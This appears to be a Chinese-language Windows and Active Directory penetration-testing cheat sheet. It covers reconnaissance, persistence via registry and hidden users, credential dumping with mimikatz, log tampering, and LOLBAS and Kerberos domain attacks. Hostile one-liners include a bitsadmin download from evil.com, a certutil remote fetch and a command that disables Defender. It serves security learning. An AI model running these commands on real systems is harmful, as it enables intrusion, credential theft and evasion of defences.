# 信息收集

# 基本命令

  • 主机名 hostname
  • 查询所有计算机名称 dsquery computer
  • 查看配置及补丁信息
    • systeminfo
    • wmic qfe get description,installedOn /format:csv
  • 查看版本 ver
  • 进程信息
    • tasklist /svc
    • wmic process get caption,executablepath,commandline /format:csv
    • get-process
  • 查看所有环境变量 set
  • 查看计划任务 schtasks /QUERY /fo LIST /v
  • 查看安装驱动 DRIVERQUERY
  • 查看操作系统信息
    • 架构 wmic os get osarchitecture
    • 系统名 wmic os get caption
  • 查看逻辑盘 wmic logicaldisk get caption
  • 查看安装的软件信息 wmic product get name,version
  • 查看服务信息
    • wmic service list brief
    • sc query
    • Get-WmiObject win32_service | select PathName

# 域信息

  • 获取当前组的计算机名 net view
  • 网络发现 net view /all
  • 查看所有域 net view /domain
  • 域森林、域树信息
  • 域信任信息 nltest /domain_trusts
  • 定位域控 net time /domain
  • 查看域中的用户名 dsquery user
  • 查询域组名称 net group /domain
  • 查询域管理员 net group "Domain Admins" /domain
  • 域控信息
    • nltest /dclist:xx
    • Get-NetDomain
    • Get-NetDomainController
    • net group "Domain controllers"
  • 组策略

# 用户信息

  • 查看用户
    • net user
    • whoami / whoami /priv / whoami /all
    • wmic useraccount get /ALL /format:csv
  • 用户特权信息 whoami /priv
  • 查看当前权限 net localgroup administrators
  • 查看在线用户 quser / qwinsta / query user
  • 查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域 net config Workstation
  • ACL 信息 get-acl

# 网络信息

  • 内网网段信息
  • 网卡信息 ipconfig
  • 外网出口
  • ARP 表 arp -a
  • 路由表 route print
  • 监听的端口 netstat -ano
  • 连接的端口
  • 端口信息
    • Get-NetTCPConnection
  • hosts 文件
  • 主备 DNS
  • DNS 缓存
    • ipconfig /displaydns
    • Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache
  • 探测出网情况
    • powershell -c "1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect('allports.exposed',$_)) _ } 2>null"

# 防火墙

  • 查看防火墙状态 netsh advfirewall show allprofiles
  • 防火墙日志目录 netsh firewall show logging
  • 防火墙规则 netsh advfirewall firewall show rule name=all
  • netsh firewall show config
  • netsh firewall show state

# 密码信息

  • Windows RDP 连接记录
  • 浏览器中保存的账号密码
  • 系统密码管理器中的各种密码
  • 无人值守安装文件中的密码信息
    • C:\sysprep.inf
    • C:\sysprep\sysprep.xml
    • C:\Windows\Panther\Unattend\Unattended.xml
    • C:\Windows\Panther\Unattended.xml

# 票据信息

  • cmdkey /l
  • klist
  • msf meterpreter

# 特殊文件

  • 文档
    • xlsx / xls
    • docx / doc
    • pptx / ppt
    • vsdx / vsd
    • md / txt
  • 压缩文件
    • zip / rar / 7z
  • VPN 配置
    • ovpn
  • 代码
    • py / php / jsp / aspx / asp / sql
  • 配置文件
    • conf / ini / xml
  • 特定关键字
    • 账号 / 账户 / 登录 /login/user
    • 密码 /pass
    • 代码 / 文档 / 交接 / 备份 /git/svn
    • 邮箱 / 通讯录 / 集群 / 办公
    • 代理 / 内网 / VPN
    • 设备 / 资产
    • 系统 / 运维 / 拓扑 / 网络 / IT
    • 后台 / 管理员 / 数据库
    • 监控 / 隔离 / 防火墙 / 网闸 / 巡检

# 局域网存活主机

  • NetBIOS 扫描
  • OXID 扫描

# 其他

  • 启用的共享文件夹
  • 回收站
  • 最近运行的命令
  • 访问文件历史记录
  • 查看补丁安装情况
    • wmic qfe get Caption,Description,HotFixID,InstalledOn
  • 日志与事件信息
    • wevtutil
    • eventvwr
  • 注册表信息
    • reg
  • 安装的各类 agent 监控软件
  • 安装的杀毒软件
  • 查看 / 设置后缀关联
    • assoc
    • assoc .ext=example
  • PowerShell 版本
  • .Net 版本
  • Wi-Fi 密码

# 持久化

# 隐藏文件

  • 创建系统隐藏文件
    • attrib +s +a +r +h filename / attrib +s +h filename
  • 利用 NTFS ADS (Alternate Data Streams) 创建隐藏文件
  • 利用 Windows 保留字
    • aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9

# 后门

# sethc

sethc.exe 是 Windows 系统在用户按下五次 shift 后调用的粘滞键处理程序,当有写文件但是没有执行权限时,可以通过替换 sethc.exe 的方式留下后门,在密码输入页面输入五次 shift 即可获得权限。

# 映像劫持

在高版本的 Windows 中,替换程序是受到系统保护的,需要使用其他的技巧来实现替换。

具体操作为在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option 下添加项 sethc.exe ,然后在 sethc.exe 这个项中添加 debugger 键,键值为恶意程序的路径。

# 定时任务

Windows 下有 schtasksat 两种计划任务机制。 其中 at 在较高版本的 Windows 中已经弃用。

设置命令为 schtasks /create /tn "TEST_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"schtasks /create /tn "TEST_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe" 。删除命令为 schtasks /delete /tn "TEST_OnLogon" /f

# 登录脚本

Windows 可以在用户登录前执行脚本,使用 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 设置。

也可在 HKCU\Environment\ 路径下设置 UserInitMprLogonScript 来实现。

# 屏幕保护程序

Windows 可以自定义屏幕保护程序,使用 HKEY_CURRENT_USER\Control Panel\Desktop 设置。

# 隐藏用户

Windows 可以使用在用户名后加入 $ 来创建隐藏用户,这种帐户可在一定条件下隐藏,但是仍可以通过控制面板查看。

在创建隐藏用户的基础上,可以修改注册表的方式创建影子用户,这种方式创建的用户只能通过注册表查看。

# CLR

CLR (Common Language Runtime Compilation) 公共语言运行时,是微软为.NET 产品构建的运行环境,可以粗略地理解为.NET 虚拟机。

.NET 程序的运行离不开 CLR,因此可以通过劫持 CLR 的方式实现后门。

# Winlogon Helper DLL 后门

Winlogon 是一个 Windows 组件,用来处理各种活动,如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理,该注册表定义在 Windows 登录期间启动哪些进程。所以可以依靠这个注册表来进行权限维持。

注册表位置如下:

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell 用于执行 exe 程序
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 用于执行 exe 程序
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify 用于执行 dll 文件

# 自启动

# 基于注册表的自启动

通过在注册表中写入相应的键值可以实现程序的开机自启动,主要是 RunRunOnce ,其中 RunOnce 和 Run 区别在于 RunOnce 的键值只作用一次,执行完毕后会自动删除。

注册表如下:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

基于策略的自启动注册表设置如下:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

设置启动文件夹注册表位置如下:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

设置服务启动项注册表位置如下:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

用户自启动位置 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell ,其中 Userinit 键允许指定用逗号分隔的多个程序。

如果用户启动了屏幕保护程序,也可以通过屏幕保护程序来启动后面,相关注册表键值为:

  • HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
  • HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
  • HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
  • HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

# 基于特定目录的自启动

自启动目录, C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 目录对特定用户生效, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 对所有用户生效。在 NT6 以前,两个目录为 C:\Documents and Settings\Username\Start Menu\Programs\StartUp / C:\Documents and Settings\All Users\Start Menu\Programs\StartUp

# 权限

# UAC

# 简介

UAC (User Account Control) 是 Windows Vista 和 Windows Server 2008 引入的一个安全机制,当一些敏感操作发生时,会跳出提示显式要求系统权限。

当用户登陆 Windows 时,每个用户都会被授予一个 access token,这个 token 中有 security identifier (SID) 的信息,决定了用户的权限。

# 会触发 UAC 的操作

  • 以管理员权限启动应用
  • 修改系统、UAC 设置
  • 修改没有权限的文件或者目录( % SystemRoot% / % ProgramFiles% 等 )
  • 修改 ACL (access control list)
  • 安装驱动
  • 增删账户,修改账户类型,激活来宾账户

# ByPass

  • DLL 相关
  • 进程注入
  • 注册表

# 权限提升

权限提升有多重方式,有利用二进制漏洞、逻辑漏洞等技巧。利用二进制漏洞获取权限的方式是利用运行在内核态中的漏洞来执行代码。比如内核、驱动中的 UAF 或者其他类似的漏洞,以获得较高的权限。

逻辑漏洞主要是利用系统的一些逻辑存在问题的机制,比如有些文件夹用户可以写入,但是会以管理员权限启动。

# 任意写文件利用

在 Windows 中用户可以写的敏感位置主要有以下这些

  • 用户自身的文件和目录,包括 AppData Temp
  • C:\ ,默认情况下用户可以写入
  • C:\ProgramData 的子目录,默认情况下用户可以创建文件夹、写入文件
  • C:\Windows\Temp 的子目录,默认情况下用户可以创建文件夹、写入文件

具体的 ACL 信息可用 AccessChk, 或者 PowerShell 的 Get-Acl 命令查看。

可以利用对这些文件夹及其子目录的写权限,写入一些可能会被加载的 dll,利用 dll 的加载执行来获取权限。

# MOF

MOF 是 Windows 系统的一个文件( c:/windows/system32/wbem/mof/nullevt.mof )叫做 "托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。

当拥有文件上传的权限但是没有 Shell 时,可以上传定制的 mof 文件至相应的位置,一定时间后这个 mof 就会被执行。

一般会采用在 mof 中加入一段添加管理员用户的命令的 vbs 脚本,当执行后就拥有了新的管理员账户。

# 凭证窃取

  • Windows 本地密码散列导出工具
    • mimikatz
    • lsass
    • wce
    • gsecdump
    • copypwd
    • Pwdump
    • ProcDump:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
  • Windows 本地密码破解工具
    • L0phtCrack
    • SAMInside
    • Ophcrack
  • 彩虹表破解
  • 本机 hash + 明文抓取
  • win8+win2012 明文抓取
  • ntds.dit 的导出 + QuarkPwDump 读取分析
  • vssown.vbs + libesedb + NtdsXtract
  • ntdsdump
  • 利用 powershell (DSInternals) 分析 hash
  • 使用 net use \\%computername% /u:%username% 重置密码尝试次数
  • 限制读取时,可 crash 操作系统后,在蓝屏的 dump 文件中读取

# 其他

  • 组策略首选项漏洞
  • DLL 劫持
  • 替换系统工具,实现后门
  • 关闭 defender
    • Set-MpPreference -disablerealtimeMonitoring $true

# 痕迹清理

# 日志

  • 查看日志 eventvwr
  • 伪造日志 eventcreate
  • 操作日志
    • 3389 登录列表
    • 文件打开日志
    • 文件修改日志
    • 浏览器日志
    • 系统事件
    • 程序安装记录
    • 程序删除记录
    • 程序更新记录
  • 登录日志
    • 系统安全日志
  • 日志路径
    • 系统日志: %SystemRoot%\System32\Winevt\Logs\System.evtx
    • 安全日志: %SystemRoot%\System32\Winevt\Logs\Security.evtx
    • 应用程序日志: %SystemRoot%\System32\Winevt\Logs\Application.evtx
  • 服务日志
    • IIS: %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

# 注册表

  • AppCompatFlags
  • Background Activity Moderator (BAM)
  • MuiCache
  • RecentApps
  • RunMRU
  • ShimCache (AppCompatCache)

# 注册表键

  • HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog

# 文件

# Prefetch

预读取文件夹,用来存放系统已访问过的文件的预读信息,扩展名为 PF。位置在 C:\Windows\Prefetch

# JumpLists

记录用户最近使用的文档和应用程序,方便用户快速跳转到指定文件,位置在 %APPDATA%\Microsoft\Windows\Recent

# Amcache / RecentFileCache.bcf

Windows 中的使用这两个文件来跟踪具有不同可执行文件的应用程序兼容性问题,它可用于确定可执行文件首次运行的时间和最后修改时间。

在 Windows 7、Windows Server 2008 R2 等系统中,文件保存在 C:\Windows\AppCompat\Programs\RecentFileCache.bcf ,包含程序的创建时间、上次修改时间、上次访问时间和文件名。

在 Windows 8、Windows 10、Windows Server 2012 等系统中,文件保存在 C:\Windows\AppCompat\Programs\Amcache.hve ,包含文件大小、版本、sha1、二进制文件类型等信息。

# 时间轴

Windows 时间轴是 Windows 10 在 1803 版中引入的一个新特性,会记录访问过的网站、编辑过的文档、运行的程序等,

# 彻底删除

  • 多次覆写文件 cipher /w:<path>
  • 格式化某磁盘 count 次 format D: /P:<count>

# 横向移动

# 常见入口

  • SMB 弱密码
  • SqlServer 弱密码

# LOLBAS

# 简介

LOLBAS,全称 Living Off The Land Binaries and Scripts (and also Libraries),是一种白利用方式,是在 2013 年 DerbyCon 由 Christopher Campbell 和 Matt Graeber 发现,最终 Philip Goh 提出的概念。

这些程序一般有有 Microsoft 或第三方认证机构的签名,但是除了可以完成正常的功能,也能够被用于内网渗透中。这些程序可能会被用于:下载安全恶意程序、执行恶意代码、绕过 UAC、绕过程序控制等。

# 常见程序

  • appsyncvpublishing.exe

    • 执行 powershell
  • bitsadmin.exe

    • 下载文件 bitsadmin /transfer <job_name> /priority <priority> <remote_path> <local_path>
    • 下载文件 bitsadmin /create 1 bitsadmin /addfile 1 https://evil.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
    • 复制文件 bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset
    • 代码执行 bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
  • cdb.exe

  • certutil.exe

    • 可安装、备份、删除、管理和执行
    • 证书证书存储相关功能
    • 下载文件 certutil -urlcache -split -f https://addr/example.exe
    • 注意 certutil 是有 cache 的,需要显式删除
    • base64 编解码 certutil -encode / certutil -decode
  • cmd.exe

  • cmstp.exe

  • control.exe

    • 加载 dll
  • csc.exe

    • 编译 C# 载荷
  • cscript.exe

    • 执行脚本
  • extexport.exe

  • expand.exe

    • 展开一个或多个压缩文件
  • forfiles.exe

    • forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
  • mofcomp.exe

  • makecab.exe

  • msbuild.exe

    • 构建应用程序
  • mshta.exe

    • HTML 应用
  • msiexec.exe

    • 安装 msi
    • 加载 dll
  • msxsl.exe

    • 处理 XSL 程序
  • netsh.exe

  • installutil.exe

    • 安装 / 卸载程序组件
  • IEExec.exe

    • .NET Framework 附带程序
  • powershell.exe

  • psexec.exe

    • https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
  • reg.exe

    • 注册表控制台
  • regedit.exe

    • 注册表修改
  • regsvr32.exe

    • 注册动态链接库 / ActiveX 控件
  • rundll32.exe

    • 执行 DLL 文件中的内部函数
  • sc.exe

    • 查看服务状态管理
  • schtasks.exe

    • 定时计划任务
  • shred

    • 重复写入文件,防止文件恢复
  • type.exe

    • 利用 ads 隐藏文件 type <filepath> <target_file:ads>
  • wmic.exe

    • Windows 管理工具
  • windbg.exe

  • winrm.exe

  • wscript.exe

    • 脚本引擎
  • waitfor.exe

    • 用于同步网络中计算机,可以发送或等待系统上的信号。

# MSPRC

MSRPC (Microsoft Remote Procedure Call) 是微软对 DCE/RPC 协议的修改实现,用于支持 Windows 系统中应用程序的远程网络调用。

MSRPC 所使用的端口有 UDP 135 和 TCP 139 / 445 。

MSRPC 可以用于

  • 用户遍历
  • 服务遍历
  • 凭证导出
  • 横向移动
  • 权限提升

# 域渗透

# 用户

# 用户组与工作组

# 用户

Windows 系统存在一些为了特定用途而设置的用户,分别是:SYSTEM (系统)、Trustedinstaller (信任程序模块)、Everyone (所有人)、Creator Owner (创建者) 等,这些特殊用户不属于任何用户组,是完全独立的账户。其中 SYSTEM 拥有整台计算机管理权限的账户,一般操作无法获取与它等价的权限。

# 用户组

Windows 系统内置了许多本地用户组,用于管理用户权限。只要用户账户加入到对应的用户组内,则用户账户也将具备对应用户组所拥有的权限。

默认情况下,系统为用户分了 7 个组,并给每个组赋予不同的操作权限。这些组为:管理员组 (Administrators)、高权限用户组 (Power Users)、普通用户组 (Users)、备份操作组 (Backup Operators)、文件复制组 (Replicator)、来宾用户组 (Guests)、身份验证用户组 (Authenticated Users)。

# 工作组

工作组(Workgroup)是最常用最简单最普遍的资源管理模式,默认情况下计算机都在名为 workgroup 的工作组中。工作组模式比较松散,适合网络中计算机数量较少,不需要严格管理的情况。

# 域中用户

# 域用户

域环境中的用户和本地用户的帐户不同,域用户帐户保存在活动目录中。在域环境中,一个域用户可以在域中的任何一台计算机上登录。在域中用户可以使用 SID (Security Identifier) 来表明身份,用 NTLM 哈希或者 Kerberos 来验证身份。

# 机器用户

机器用户也被称作机器账号或计算机账号,所有加入域的主机都会有一个机器用户,机器用户的用户名以 $ 结尾。

# 组策略

组策略 (Group Policy) 用于控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。其中本地的组策略 (LGPO 或 LocalGPO),可以在独立且非域的计算机上管理组策略对象。在域环境中的组策略通常被称作 GPO (Group Policy Object)。

# 内网常用协议

Windows 查询名称解析的顺序为 DNS、mDNS、LLMNR、NBNS。

# NetBIOS

NetBIOS(Network Basic Input/Output System)是基于网络的交互协议,通常使用 UDP 137、UDP 138、TCP 139 等端口。Windows 在安装 TCP/IP 协议时会默认启用该协议,可能导致未设置权限校验的网络资源被访问。

基于 NetBIOS 有 NBNS (NetBIOS Name Service) 服务,通常监听在 UDP 137 端口,该服务提供三种功能:将 NetBIOS 名称解析到 IP、查询某一个 NetBIOS 节点的状态,注册 / 释放一个 NetBIOS 名。

可以使用 nbtstat 工具利用 NetBIOS 协议管理网络。

# LLMNR

链路本地多播名称解析 (Link-Local Multicast Name Resolution, LLMNR) 是一个基于 DNS 数据包格式的协议,IPv4 和 IPv6 的主机可以通过此协议对同一本地链路上的主机执行名称解析。该协议在 Windows Vista 后被引入。 LLMNR 监听 UDP 5355 端口,可以通过多播地址 224.0.0.252 (或 FF02:0:0:0:0:0:1:3 ) 访问。

# mDNS

mDNS (multicast DNS) 在 Windows 10 中被引入,监听 UDP 5353 端口,对应的多播地址为 224.0.0.251 ( FF02::FB ) 。mDNS 主要实现了在没有传统 DNS 服务器的情况下使局域网内的主机实现相互发现和通信。

# WPAD

网络代理自动发现协议 (Web Proxy Auto-Discovery, WPAD) 是一种客户端使用 DHCP 和 / 或 DNS 发现方法来定位一个配置文件 URL 的方法。在检测和下载配置文件后,它可以执行配置文件以测定特定 URL 应使用的代理。

#

# 域结构

# 域树

域树(Trees)由多个域组成,这些域共享同一表结构和配置,形成一个连续的命名空间(namespace)。

#

林(Forests)是一个复杂的 AD 实例,由一个或数个域组成,每个域树都有自己唯一的名称空间。

# 域控制器

ADDS 的目录存储在域控制器 (Domain Controller) 内,一个域内可以有多台域控制器,每一个域控制器的地位几乎是平等的,有几乎相同的数据库。

在一台域控制器添加一个用户账户后,这个账户会被自动复制到其他域控制器的数据库中。

AD 数据库有多主机复制模式(Multi-master Replication Model)和单主机复制模式(Sing-master Replication Model)。

多主机模式可以直接更新任何一台域控制器内的 AD 对象,并将更新之后的对象复制到其他域控制器,大部分数据都是用多主机模式进行复制。

单主机复制模式是指由一台被称作操作主机(Operations Master)的域控制器负责接收更改数据的请求,并将数据复制到其他的域控制器。

# 信任

两个域之间需要创建信任关系,才可以访问对应域内的资源。

# 域信任类型

Active Directory 的信任方式可以分为以下几种:

  • Tree-Root Trust
    • 双向具有转移性
  • Parent-Child Trust
    • 具有转移性,双向行人
  • Forest Trust
    • 如果两个林创建了信任关系,则林中所有的域都相互信任
    • 两个林之间的信任关系无法自动扩展到其他林上
  • Realm Trust
    • ADDS 域可以和非 Windows 系统的 Kerberos 域之间创建信任
  • External Trust
    • 位于两个林内的域之间可以通过外部信任来创建信任关系
  • Shortcut Trust
    • 可以缩短验证用户身份的时间

# OU

组织单位(Organization Unit,OU)是一个容器对象,将域中的对象组织成逻辑组,帮助管理员管理。OU 包含用户、计算机、工作组、打印机、安全策略以及其他组织单位等。

# Active Directory

活动目录 (Active Directory,AD) 是面向 Windows Server 的目录服务。Active Directory 存储了有关网络对象的信息,并且让管理员和用户能够查找和使用这些信息。

# ADDS

Active Directory 提供目录服务的组件被称作 Active Directory 域服务 (Active Directory Domain Services, ADDS) ,负责目录数据库的存储、增删改查等工作,可以用在多种局域网、广域网的场景中。

从逻辑上看,ADDS 的组件可以分为 Partition、Schema、Domain、Domain tree、Forest、OU、Container。

Partition 也被称为 naming context,是 AD DS 数据库的一部分。Schema 是存储在 ADDS 中数据的定义。Container 是为 ADDS 提供组织框架的对象。

从实现上区分,ADDS 可以分为 Domain controller、Data store、Global catalog server、RODC (Read-only domain controller) 、Site、Subnet。

每个域控制器都有完整的 ADDS 数据,每个域控都可以处理数据的修改并同步至其他的域控。

域控会有一份数据拷贝 (Data store) ,默认存储在 C:\Windows\NTDS 目录下。

Global catalog server 是存储全局 catalog 的域控,catlog 以只读的方式存储了一个 multiple-domain forest 的所有对象,用于加速搜索。

# 名称空间

名称空间 (namespace) 是一块界定好的区域,在区域内可以用名称找到与之相关的信息。

# 对象与属性

ADDS 内的资源都是以对象 (Object) 的形式存在的,对象通过属性 (Attrbute) 来描述其特征。

# ADCS

# 介绍

Active Directory 证书服务 (Active Directory Certificate Services,AD CS) 是微软用于实现 PKI 的服务。

# 证书

ADCS 中的证书是 X.509 格式的数字签名文档,用于加密、签名或身份验证等。

证书常用的属性由下述字段组成

  • Subject:主题
  • Public Key:公钥
  • Extended Key Usages (EKUs):扩展密钥,描述证书的对象标识符 (Object identifier, OID)
  • ...

常用的 EKU OID 包括:

  • 代码签名
    • OID 1.3.6.1.5.5.7.3.3
    • 证书用于签署可执行代码
  • 加密文件系统
    • OID 1.3.6.1.4.1.311.10.3.4
    • 证书用于加密文件系统
  • 安全电子邮件
    • OID 1.3.6.1.5.5.7.3.4
    • 证书用于加密电子邮件
  • 客户端身份验证
    • OID 1.3.6.1.5.5.7.3.2
  • 智能卡登录
    • OID 1.3.6.1.4.1.311.20.2.2
  • 服务器认证
    • OID 1.3.6.1.5.5.7.3.1
    • 证书用于识别服务器 (例如 HTTPS 证书)

# 证书模板

微软提供了证书模板的功能,方便在域内签发证书。证书模板是注册策略和预定义证书设置的集合,包含证书有效期、用途、申请者等信息。

# 证书注册

证书可以通过以下几种方式注册:

  • 通过 Windows 客户端证书注册协议 (MS-WCCE)
  • 通过 ICertPassage 远程协议 (MS-ICPR)
  • 在 ADCS 开启了对应 Web 服务的情况下,使用 Web 服务注册
  • 在服务器安装了对应服务时,通过证书注册服务 (CES) 注册
  • 在服务器安装了对应服务时,使用网络设备注册服务

# 组策略

# 简介

组策略 (Group Policy, GP) 用于管理网络环境中的用户和设备,定义了系统管理员管理工作所要的各种模板组件。

组策略有以下功能:

  • 管理注册表
  • 设置脚本
  • 重定向文件夹
  • 管理应用程序
  • 指定安全选项

# 常用概念

组策略容器 (Group Policy Container,GPC) 存储在活动目录中,包含 GPO 属性、配置信息和版本等。可以通过 GPC 来查找 GPT。

组策略模板 (Group Policy Template, GPT) 存储在域控中,包含所有的组策略信息。包括管理模板,安全,脚本,软件安装等。

其中 GPC 中的信息量少、容量小,GPT 中消息量较大、容量大,因此两个部分分开存放。防止活动目录中因存储了过多的数据而被影响性能。

组策略对象 (Group Policy Object, GPO) 是包含多种 Windows 组策略设置的集合,存储在 GPC 和 GPT 中。

# 域内攻击思路

  • 获取域控权限
    • 通过域控相关漏洞
    • 抓 hash,尤其是域管理员、运维等高权限账号的哈希
  • 控制入域机器
    • 下发恶意策略控制
    • 获取域内用户凭证
    • 利用错误的域管理配置
    • 域内 relay
  • 获取服务票据
    • 攻击 Exchange 等服务器

# 攻击类型

# 黄金票据利用

在认证过程中,经过 client 与 AS 的通信会得到 TGT,黄金票据(Golden Ticket)就是伪造票据授予票据(TGT),也被称为认证票据。

黄金票据利用需要与 DC 通信,且需要获取 krbtgt 的 hash,但是可以获取任何 Kerbose 服务权限。

# 白银票据利用

白银票据(Silver Tickets)伪造利用的是 Kerberos 认证中的第三个步骤,在第三步的时候,client 会带着 ticket 向 server 的某个服务进行请求,如果验证通过就可以访问 server 上的指定服务了,这里的 ticket 是基于 client info、server session key、end time、server hash。这里 client info 已知,end time 可以构造,server session key 是 TGS 生成的,所以只要 server 的 NTLM hash 即可。银票伪造的是 TGS,只能访问指定的服务。

# DCSync 攻击

域内有多台域控服务器时,为了同步域控服务器的修改,微软提供了基于远程目录协议 DRSR 的同步机制。

在多个域控服务器之间,每隔一段时间会有一次域数据的同步。由需要同步的域控服务器向其它服务器发送 GetNCChanges 请求,请求中包含需要同步的数据。数据量较多时,则重复这个过程。

DCSync 就是使用这种机制进行域渗透的技术,由 Benjamin DELPY gentilkiwi 和 Vincent LE TOUX 共同编写,在 2015 年添加到 mimikatz 的一个功能,可以导出域内所有用户的 hash。

这种方式需要满足以下任一一种权限:

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户
  • 域控制器的计算机帐户

或者拥有特定的几条 DACL:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All
  • DS-Replication-Get-Changes-In-Filtered-Set

当没有管理员用户,但是拥有 WriteDACL 权限时,可以写入上述 DACL 来完成 DCSync 。

对于这种攻击,可以通过检测 GetNCChanges 发起者的方式,如果由非域控机器发起对应请求,则可以认为是 DCSync 攻击。

# DCShadow 攻击

DCShadow 是由来自法国的安全研究人员 Benjamin Delpy 和 Vincent Le Toux 在 2018 年的微软蓝帽(Blue Hat)大会上提出。

DCShadow 攻击指在 Active Directory 环境下创建一个恶意的域控制器,并用它来推送恶意对象。

# 哈希传递攻击

哈希传递攻击(Pass-the-Hash,PTH)是通过传递 NTLM 哈希来认证的攻击方法,常用的工具有 mimikatz 等。

# 票据传递攻击

票据传递攻击(Pass-the-Ticket Attacks,PtT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PtT 最常见的用途可能是使用黄金票据和白银票据,通过 PtT 访问主机相当简单。

# Kerberoasting Attacks

Kerberoasting 攻击由 Tim Medin 在 2014 DerbyCon conference 上 公开 。指域内的任何一台主机,都可以通过查询 SPN,Kerberoasting 即是向域内的所有服务请求 TGS,然后进行暴力破解。

# Roasting AS-REP

该攻击枚举域中不需要 Kerberos 预身份认证的帐户,向这些账户请求一条加密信息,并离线尝试获取到的账户哈希。该方式需要账户明确设置了 DONT_REQ_PREAUTH

# Kerberos Delegation Attacks

在一个域中,A 使用 Kerberos 身份验证访问服务 B,B 再使用 A 的身份去访问 C,这个过程就可以理解为委派。委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两种,非约束委派可以访问域内任意其它服务,约束委派对认证做了限制不可以访问其他的服务。

Kerberos Delegation(Kerberos 委派)攻击分为非约束委派攻击和约束委派攻击。原理都是基于域内已经配置了委派的账户来获取其它账户的权限。

# 其他漏洞利用

  • 域用户提权 (CVE-2022-26923)
  • KDC bamboozling (CVE-2021-42287)
  • Name impersonation (CVE-2021-42278)
  • ProxyShell (CVE-2021-34473)
  • ProxyLogon (CVE-2021-26855)
  • PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
  • SMBGhost (CVE-2020-0796)
  • Zerologon (CVE-2020-1472)
  • NTLM Relay (CVE-2019-1040)
  • 永恒之蓝 (MS17-010)
  • 域用户提权 (MS14-068)
  • Gpp 漏洞 (MS14-025)
  • SAMR 协议漏洞 (MS14-016)

# 防护

  • 使用 ATA 等商业化防护工具
  • 安装杀毒软件、EDR 等工具
  • 关闭高危服务
  • 统一配置防火墙策略
  • 对域控等高危账号使用白名单进行行为管理
  • 检测高危操作
    • 权限提升
    • 高危账号密码修改、重置
  • 行为频率建模
    • 对大量尝试登录 / 信息查询进行报警
  • 及时安装补丁
  • 对特定攻击行为进行监控
    • 通过 GPO 下发自启动、计划任务